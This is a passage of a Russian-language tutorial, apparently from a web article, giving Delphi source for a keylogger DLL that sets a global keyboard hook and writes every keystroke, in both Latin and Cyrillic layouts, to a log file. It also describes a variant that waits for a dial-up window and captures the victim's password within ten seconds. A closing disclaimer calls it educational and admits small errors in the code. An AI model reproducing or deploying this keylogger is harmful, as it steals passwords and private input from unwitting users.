создан - создаем.

end
else Append(F);
//если есть - пишем в
конец.

Simv:=chr(0);//обнуляем
переменную символа, читающегося с клавы.

// анализируем код
нажатой клавиши
case wParam of
// цифры
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv:="8";
105: Simv:="9";
189,109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
end;

GetKeyboardLayoutName(KL); //
проверяем раскладку

if KL = "00000409" then // если
латинская:

begin
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
end;
end;
end;
if KL = "00000419" then
// если
русская

begin
case wParam of
219: Simv:="Х";
221: Simv:="Ъ";
186: Simv:="Ж";
222: Simv:="Э";
188: Simv:="Б";
190: Simv:="Ю";
191: Simv:=".";
65: Simv:="Ф";
...
87: Simv:="Ц";
88: Simv:="Ч";
89: Simv:="Н";
90: Simv:="Я";
end;

//если символ не пустой(т.е.
если была нажата буквенно-цифровая клавиша)
//тогда пишем его в файл
if Simv<>"" then
Write(F, Simv);
//закрываем файл
CloseFile(F);

// передаем сообщение
другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;

begin
//Установить ловушку
для перехвата сообщений о клавиатуры.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Так же эту программу можно упростить в
зависимости от области применения - если
допустим нужно только считать один раз
пароль из звонилки - тогда можно поставить
проверку на окна до нужного нам, и когда оно
станет активным - загрузить библиотеку
key1.dll, подождать определенное время, за
которое юзер успеет набить эти символы на
клавиатуре, а затем выгрузить библиотеку и
завершить программу. Примерно так 🙂

hINSTAGE=LoadLibrary("key1.dll");
Sleep(10000);
//ждать 10 секунд, за это
время юзер наберет пароль.
//время может быть увеличено в зависимости
от степени заторможенности юзера
// и его скрости печатанья на клаве 🙂

FreeLibrary(hINSTAGE);

PS: Весь вышеперечисленный материал был дан
исключительно с демонстрационными и
общеобразовательными целями, автор ставил
перед собой задачу продемонстрировать
алгоритм работы программы типа "апгрейженный
клавиатурный шпион" и вся
ответственность за использования этого
материала ложится на тебя (непосильным
бременем 🙂) В реализации кода присутствуют
мелкие неточности, не вредящие собственно
алгоритму - попробуй найти их сам)).

PSS: Конечно же кейлоггер может не только
выполнять свою основную функцию -
собственно писать в лог нажатия кнопок, но и
изменять значения нажатых клавиш по твоему
вкусу - но как это сделать и для чего это
может быть просто жизненно необходимо - в
следующий раз 🙂

Публикации по теме